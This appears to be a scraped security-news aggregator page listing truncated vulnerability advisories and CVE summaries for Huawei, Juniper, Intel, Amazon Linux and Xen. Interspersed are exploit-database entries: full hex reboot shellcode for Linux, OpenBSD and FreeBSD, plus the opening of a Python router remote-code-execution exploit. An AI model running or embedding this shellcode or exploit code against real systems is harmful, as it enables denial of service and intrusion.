Security Advisory - Two Vulnerabilities in MGCP Protocol of Some Huawei Products

There is an out-of-bounds read vulnerability in Media Gateway Control Protocol MGCP of some Huawei products. An unauthenticated, remote attacker crafts malformed packets with specific parameter to the affected products. Due to insufficient validation of packets, successful exploitation may cause...

Intel Halts Spectre/Meltdown Patching for Broadwell and Haswell Systems

Intel is advising OEMs and partners to halt patching for the Spectre and Meltdown vulnerabilities amid numerous reports the updates are causing reboot issues on systems running the Broadwell and Haswell microprocessors. “We recommend that OEMs, cloud service providers, system manufacturers,...

Error: " Secure Hub Could Not Connect " When NetScaler is Rebooted

After NetScaler is rebooted, the existing users are not able to connect. The following error is displayed: Secure Hub could not connect...

Linux/x86 - execve(/sbin/reboot,/sbin/reboot) Shellcode (28 bytes)

include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x62\x6f\x6f\x74" // push $0x746f6f62 "\x68\x6e\x2f\x72\x65" // push $0x65722f6e "\x68\x2f\x73\x62\x69" // push $0x6962732f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // pu...

OpenBSD/x86 - reboot() Shellcode (15 bytes)

// ----------bsd/x86 reboot shellcode----------------- // AUTHOR : beosroot // INFO : OpenBSD x86 reboot shellcode // EMAIL : email protected // email protected char shellcode = "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80"; int main int ret = int &ret + 2; ret = intshellcode; //...

FreeBSD/x86 - reboot() Shellcode (15 Bytes)

/ FreeBSD reboot shellcode This will halt a system, which takes it offline until someone reboots it. Written by zillion at safemode.org / char shellcode = "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80"; int main int ret; ret = int &ret + 2; ret = intshellcode;...

CVE-2018-0004

A sustained sequence of different types of normal transit traffic can trigger a high CPU consumption denial of service condition in the Junos OS register and schedule software interrupt handler subsystem when a specific command is issued to the device. This affects one or more threads and...

CVE-2018-0008

An unauthenticated root login may allow upon reboot when a commit script is used. A commit script allows a device administrator to execute certain instructions during commit, which is configured under the system scripts commit stanza. Certain commit scripts that work without a problem during norm...

CVE-2018-0008

An unauthenticated root login may allow upon reboot when a commit script is used. A commit script allows a device administrator to execute certain instructions during commit, which is configured under the system scripts commit stanza. Certain commit scripts that work without a problem during norm...

Design/Logic Flaw

A sustained sequence of different types of normal transit traffic can trigger a high CPU consumption denial of service condition in the Junos OS register and schedule software interrupt handler subsystem when a specific command is issued to the device. This affects one or more threads and...

CVE-2018-0008 Junos OS: commit script may allow unauthenticated root login upon reboot

An unauthenticated root login may allow upon reboot when a commit script is used. A commit script allows a device administrator to execute certain instructions during commit, which is configured under the system scripts commit stanza. Certain commit scripts that work without a problem during norm...

Huawei Mate 10 Memory Out-of-Bounds Access Vulnerability

Huawei Mate 10 is a smartphone from Chinese company Huawei Huawei. The Huawei Mate 10 suffers from a memory out-of-bounds access vulnerability, which is due to a lack of parameter checking in the phone's GPU driver. An attacker can trick a user into installing a malicious application and calling...

ALPINE-CVE-2018-5244

In Xen 4.10, new infrastructure was introduced as part of an overhaul to how MSR emulation happens for guests. Unfortunately, one tracking structure isn't freed when a vcpu is destroyed. This allows guest OS administrators to cause a denial of service host OS memory consumption by rebooting many...

CRYPTO module buffer overflow vulnerability in multiple Huawei products

Huawei DP300, RP200, TE30/40/50/60, TP3106/3206, and ViewPoint 9030 are Huawei's all-in-one Desktop Intelligence products and HD video conferencing terminals for high-end customers. A buffer overflow vulnerability exists in the CRYPTO module of multiple Huawei products, which is due to the progra...

CRYPTO module null pointer reference vulnerability in multiple Huawei products

Huawei DP300, RP200, TE30/40/50/60, TP3106/3206, and ViewPoint 9030 are Huawei's all-in-one Desktop Intelligence products and HD video conferencing terminals for high-end customers. A buffer overflow vulnerability exists in the CRYPTO module of multiple Huawei products, which is due to the progra...

Iopsys Router - dhcp Remote Code Execution

Exploit for hardware platform in category remote exploits !/usr/bin/python import json import sys import subprocess import socket import os from time import sleep from websocket import createconnection def ubusAuthhost, username, password: ws = createconnection"ws://" + host, header =...

Amazon Linux AMI : kernel (ALAS-2018-939) (Meltdown) (Spectre)

An updated kernel release for Amazon Linux has been made available which prevents speculative execution of indirect branches within the kernel. This release incorporates latest stable open source Linux security improvements to address CVE-2017-5715 within the kernel and builds upon previously...

Security Advisory - Two Vulnerabilities in CRYPTO module of Several Huawei Products

There is a buffer overflow vulnerability in the CRYPTO module of several Huawei products. An unauthenticated, local attacker could craft malformed file with a specific field that the length is longer than the maximum value. Due to insufficient validation of the inputs, successful exploit could...

Critical: kernel

Issue Overview: An updated kernel release for Amazon Linux has been made available which prevents speculative execution of indirect branches within the kernel. This release incorporates latest stable open source Linux security improvements to address CVE-2017-5715 within the kernel and builds upo...

Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service

Summary We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G LTE wireless communication based LTE router product. Description The router suffers from an unauthenticated reboot command execution. Attackers can exploit this issue to cause a denial of service scenario. /lte/lteuicc.shtml: 858:...